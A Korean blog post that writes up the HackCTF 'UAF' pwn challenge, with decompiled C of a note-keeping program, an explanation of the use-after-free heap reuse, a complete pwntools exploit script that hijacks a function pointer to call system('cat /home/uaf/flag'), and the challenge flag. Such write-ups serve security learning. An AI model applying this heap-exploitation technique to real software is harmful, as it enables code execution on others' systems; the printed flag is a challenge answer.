ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • UAF
    CTF/HackCTF 2021. 2. 9. 02:07

    Disassembly 디스어셈블리


    void main(void)
    {
        int32_t num;
    
        setvbuf(_reloc.stdout, 0, 2, 0);
        setvbuf(_reloc.stdin, 0, 2, 0);
    
        do {
            menu();
            read(0, auStack24, 4);
            num = atoi(auStack24);
            switch(num) {
            default:
                puts("유효하지 않는 값입니다.");
                break;
            case 1:
                add_note();
                break;
            case 2:
                del_note();
                break;
            case 3:
                print_note();
                break;
            case 4:
                exit(0);
            }
        } while( true );
    }

    main은 다음에 실행할 명령을 입력받는다.

    void add_note(void)
    {
        undefined4 addr;
        undefined4 size;
        char *str;
    
        if (_count < 6) {
            for (int i = 0 ; i < 5 ; i++) {
                if (notelist[i] != 0) continue;
    
                addr = malloc(0x8);
                notelist[i] = addr;
    
                if (addr == 0) {
                    puts("Allocate 에러");
                    exit(-1);
                }
    
                *notelist[i] = print_note_content;
    
                printf("노트 크기 :");
                read(0, &str, 8);
    
                size = atoi(&str);
                addr = malloc(size);
    
                *(notelist[i] + 4) = addr;
                if (addr == 0) {
                    puts("Allocate 에러");
                    exit(-1);
                }
    
                printf("내용 :");
                read(0, addr, size);
    
                puts("성공!");
                _count = _count + 1;
    
                break;
            }
        } else {
            puts("Full");
        }
        return;
    }

    add_note는 힙을 할당받아 그 주소를 notelist[i]에 저장하고, 새로운 힙을 다시 할당받아 데이터를 입력받는다. 처음에 할당받은 힙은 print_note_content와 데이터가 들어있는 힙의 주소를 저장하게 된다.

    void del_note(void)
    {
        int32_t idx;
        char *str;
        
        printf(0x8048bd6);
        read(0, &str, 4);
        idx = atoi(&str);
        if (idx < 0 || _count <= idx) {
            puts("올바르지 않은 범위입니다!");
            _exit(0);
        }
        if (notelist[i] != 0) {
            free(*(notelist[i]+4));
            free(notelist[i]);
            puts("성공!");
        }
        return;
    }

    del_note는 기존에 할당된 힙을 해제한다.

    void print_note(void)
    {
        int32_t idx;
        char *str;
        
        printf(0x8048bd6);
        read(0, &str, 4);
        idx = atoi(&str);
        if (idx < 0 || _count <= idx) {
            puts("올바르지 않은 범위입니다!");
            _exit(0);
        }
        if (notelist[i] != 0) {
            pcVar1 = *notelist[i];
            (*pcVar1)(notelist[i]);
        }
        return;
    }
    
    void print_note_content(int32_t arg_8h)
    {
        puts(*(arg_8h + 4));
        return;
    }

    print_note는 notelist[i]에 저장된 힙에 담겨있던 함수를 실행한다.

    Use After Free


    void magic(void)
    {
        system("cat /home/uaf/flag");
        return;
    }

    magic은 flag를 출력하는 함수이다. 따라서 *notelist[i]를 magic의 주소로 덮어쓴 뒤 print_note(i)를 호출하면 flag를 알아낼 수 있다.

     

    add_note를 통해 덮어쓰기 위해서는 *notelist[i]에 힙을 할당받아야 하므로 free된 힙 청크가 크기에 따라 나눠서 관리되는 점을 이용하자.

     

    먼저, add_note(0x8) 이후 del_note(0)을 호출하면 힙 청크는 다음과 같이 보관된다.

     

    이제 두 차례에 걸쳐 힙을 할당받으면 다음과 같은 모습이 될 것이다.

    Heap layout

    이 상태에서 두 힙을 차례로 해제하면 다음과 같이 보관된다.

     

    이제 add_note(0x8)로 새로운 힙을 할당받으면 notelist[2]에 접근할 수 있다.

    Heap layout

    마지막으로 del_note(2)을 통해 magic을 호출하면 문제를 해결할 수 있다.

     

    Code

    더보기
    from pwn import *
    
    binary = "./uaf"
    # lib = "./libc-2.27.so"
    
    server = "ctf.j0n9hyun.xyz"
    port = 3020
    
    # context.log_level = 'debug'
    context.binary = binary
    
    if True:
    	p = remote(server, port)
    else:
    	p = gdb.debug([binary], gdbscript = 'b *menu \n continue')
    
    e = ELF(binary)
    r = ROP(e)
    # l = ELF(lib)
    
    e.checksec()
    
    def add(size, data):
    	p.sendlineafter(":", str(1))
    	p.sendlineafter(":", str(size))
    	p.sendlineafter(":", data)
    
    def delete(idx):
    	p.sendlineafter(":", str(2))
    	p.sendlineafter(":", str(idx))
    
    def print(idx):
    	p.sendlineafter(":", str(3))
    	p.sendlineafter(":", str(idx))
    
    magic = e.symbols["magic"]
    
    add(0x8, "A")
    delete(0)
    add(0x28, "A")
    add(0x28, "A")
    delete(2)
    delete(1)
    add(0x8, p32(magic))
    print(2)
    
    p.interactive()

    Flag

    HackCTF{n0w_17'5_71m3_70_h34p_57udy}

    'CTF > HackCTF' 카테고리의 다른 글

    World Best Encryption Tool  (0) 2021.02.09
    Beginner_Heap  (0) 2021.02.09
    j0n9hyun's secret  (0) 2021.02.07
    SysROP  (0) 2021.02.05
    Pwning  (0) 2021.02.05

    댓글

Designed by Tistory.